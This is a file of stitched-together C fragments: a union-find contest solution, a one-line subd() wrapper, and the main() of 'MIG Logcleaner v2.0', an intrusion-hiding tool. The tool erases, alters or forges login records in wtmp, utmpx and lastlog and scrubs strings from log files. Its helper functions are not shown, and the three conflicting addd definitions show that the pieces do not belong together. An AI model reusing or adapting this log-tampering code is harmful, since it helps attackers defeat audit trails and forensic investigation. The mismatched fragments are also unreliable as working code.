int main() { int i,x,y; char c; scanf("%d",&T); while (T--) { scanf("%d %d",&N,&M); for (i=1;i<=N;i++) { f[i]=i; dis[i]=0; rank[i]=1; } while (M--) { getchar(); scanf("%c%d%d",&c,&x,&y); if (c == 'A') ask(x,y); else addd(x,y); } } return 0; }
static int subd(double x, double y, double min, double max, int needconst) { return addd(x, -y, min, max, needconst); }
int main(int argc, char **argv) { char opt; char user[16]; char dir[256]; char string1[256]; char string2[256]; char new_user[16]; char new_tty[16]; char new_host[256]; char ll_h[256]; char ll_i[256]; char ll_t[256]; long new_login = 0; long new_logout = 0; int replace = 0; int add = 0; int record = (-1); int total1 = 0; int total2 = 0; int debug = 0; int user_check = 0; int dir_check = 0; int new_check = 0; int open_check1 = 0; #ifdef SUN int open_check2 = 0; #endif int flag = 0; bzero(user, sizeof(user)); bzero(dir, sizeof(dir)); bzero(string1, sizeof(string1)); bzero(string2, sizeof(string2)); bzero(new_user, sizeof(new_user)); bzero(new_tty, sizeof(new_tty)); bzero(new_host, sizeof(new_host)); bzero(ll_h, sizeof(ll_h)); bzero(ll_i, sizeof(ll_i)); bzero(ll_t, sizeof(ll_t)); #ifdef SUN strcpy(dir, "/var/adm/"); #endif #ifndef SUN strcpy(dir, "/var/log/"); #endif while((opt = getopt(argc, argv, "u:n:D:a:b:U:T:H:I:O:RAd")) != -1) { switch (opt) { case 'u': { strcpy(user, optarg); user_check++; break; } case 'n': { record = atoi(optarg); break; } case 'D': { bzero(dir, sizeof(dir)); strcpy(dir, optarg); dir_check++; break; } case 'a': { strcpy(string1, optarg); flag++; break; } case 'b': { strcpy(string2, optarg); flag++; break; } case 'U': { strcpy(new_user, optarg); new_check++; break; } case 'T': { strcpy(new_tty, optarg); new_check++; break; } case 'H': { strcpy(new_host, optarg); new_check++; break; } case 'I': { new_login = atol(optarg); new_check++; break; } case 'O': { new_logout = atol(optarg); new_check++; break; } case 'R': { replace++; break; } case 'A': { add++; break; } case 'd': { debug++; break; } } } if((user_check == 0 && add == 0 && dir_check == 0 && flag == 0) || (replace == 1 && add == 1) || (add == 1 && new_check != 5) || (replace == 1 && user_check == 0) || (replace == 1 && new_check == 0) || (replace == 1 && record == 0) || (dir_check == 1 && flag == 0)) { usage(argv[0]); exit(0); } printf("\n[0;32m******************************[0m\n"); printf("[0;32m* MIG Logcleaner v2.0 by [0;31mno1 [0;32m*[0m\n"); printf("[0;32m******************************[0m\n\n"); if(record == (-1)) { record = 1; } if(user[0] != 0) total1 = count_records(user, 1, debug); if(total1 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMP); open_check1++; } if(open_check1 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total1)) { utmp_clean(user, record, total1, debug); } #ifdef SUN if(user[0] != 0) total2 = count_records(user, 2, debug); if(total2 == (-1)) { if(debug == 1) fprintf(stderr, "Error opening %s file to count records\n", WTMPX); open_check2++; } if(open_check2 != 1 && replace == 0 && add == 0 && user_check != 0 && (record <= total2)) { utmpx_clean(user, record, total2, debug); } #endif if(replace == 1 && (record <= total1) #ifdef SUN && (record <= total2) #endif ) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } replase(user, record, total1, total2, new_user, new_host, new_login, new_logout, debug); } if(add == 1) { if(user[0] != 0 && (record > total1) #ifdef SUN && (record > total2) #endif ) { usage(argv[0]); exit(0); } addd(user, record, total1, total2, new_user, new_tty, new_host, new_login, new_logout, debug); } if((record == 1 || record == 0) && add == 0) { if(l == 1) { strcpy(ll_h, lastlog_hostname); strcpy(ll_i, lastlog_time); strcpy(ll_t, lastlog_tty); } lastlog_clean(user, debug, ll_h, ll_t, atol(ll_i), record); } if(flag != 0) { txt_clean(dir, string1, string2, debug); } printf("\n"); return (0); }